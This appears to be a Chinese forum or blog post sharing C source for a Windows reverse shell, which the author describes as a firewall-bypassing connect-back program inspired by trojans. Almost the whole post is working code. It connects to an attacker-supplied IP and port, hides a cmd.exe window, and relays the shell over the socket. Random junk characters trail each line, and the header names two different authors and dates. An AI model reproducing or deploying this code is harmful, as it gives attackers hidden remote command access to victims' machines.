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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Uv%?z0F<C  
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/* ============================== Hi Pd|D  
Rebound port in Windows NT ;6/dFOZn  
By wind,2006/7 D>m!R[!o  
===============================*/ \Ss6F]K]  
#include i5CBLv  
#include 5/C#*%EH'  
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#pragma comment(lib,"wsock32.lib") ?)mM]2%%  
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void OutputShell(); K-,8~8[  
SOCKET sClient; IHStN,QD  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \iM  
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void main(int argc,char **argv) <L>$Y#wU  
{ L_QJS2  
WSADATA stWsaData; Av"^uevfs  
int nRet; EjFK zx  
SOCKADDR_IN stSaiClient,stSaiServer; Bv(c`JE~;  
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if(argc != 3) .F@0`*#rE~  
{ CI~ll=9`  
printf("Useage:\n\rRebound DestIP DestPort\n"); WbH#@]+DN  
return; #b5V/)K  
} ~E*`+kD  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ?h7(,39^>  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JsyLWv@6xa  
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stSaiClient.sin_family = AF_INET; 1PnWgu  
stSaiClient.sin_port = htons(0); mQ qv{1  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); u!DAeE  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) eZk4 $y  
{ 3PgiV%]  
printf("Bind Socket Failed!\n"); zD%@3NA41  
return; HL34pmc  
} I'>r  
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stSaiServer.sin_family = AF_INET; o<\9OQ0  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); gy6Pf4Yo  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); t-3y`31i.  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1:VbbOu->V  
{ TaTs-]4  
printf("Connect Error!"); kZJ.G  
return; 4Y:[YlfD.  
} D0HLU ~o  
OutputShell(); P8=!/L2?  
} l4smAT  
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void OutputShell() x9s1AzM{  
{ YMfjTt@Q  
char szBuff[1024]; \g<=n&S?  
SECURITY_ATTRIBUTES stSecurityAttributes; W*/0[|n*  
OSVERSIONINFO stOsversionInfo; J8:f9a:|M  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; wR*>9LjeG  
STARTUPINFO stStartupInfo; 6im!v<1Qx  
char *szShell; ~T'Ri=  
PROCESS_INFORMATION stProcessInformation; ^oT!%"\  
unsigned long lBytesRead; KOHYeiry~A  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); l-G] jXu  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Uth H  
stSecurityAttributes.lpSecurityDescriptor = 0; K6X}d,g  
stSecurityAttributes.bInheritHandle = TRUE; *D6X&Hg&5  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $bd2TVNV:  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Od5I:p]N  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !&b wFO>P  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TE!+G\@  
stStartupInfo.wShowWindow = SW_HIDE; 1?j[ '~aE  
stStartupInfo.hStdInput = hReadPipe; : ZWKrnG  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; k;W`6:Kjp  
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GetVersionEx(&stOsversionInfo); /;rPzP4K6  
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switch(stOsversionInfo.dwPlatformId) ;LjTsF'  
{ eK=<a<tx  
case 1: vl67Xtk4  
szShell = "command.com"; \8e27#PJR  
break; %pk'YA{M)q  
default: BJ,9C.|  
szShell = "cmd.exe"; @fz!]/  
break; qPI1\!z6  
} h.ln%6:d  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4Cn% h)w  
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send(sClient,szMsg,77,0); GZ@`}7b}  
while(1) ;ZVT[gi*  
{ 'gQ0=6(\  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); K6s%=.Zi(  
if(lBytesRead) |>U:Pb(  
{ 0`D` Je<t  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 01^+HEbm  
send(sClient,szBuff,lBytesRead,0); ]/klKqz  
} q*E<~!jL  
else xq<3*Bcw  
{ d$}z,~sN  
lBytesRead=recv(sClient,szBuff,1024,0); ~  WO  
if(lBytesRead<=0) break; X@ j.$0 eK  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); k6b0&il  
} @V>BG8Y  
} jFr[T  
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return; bh&Wy<Y  
}
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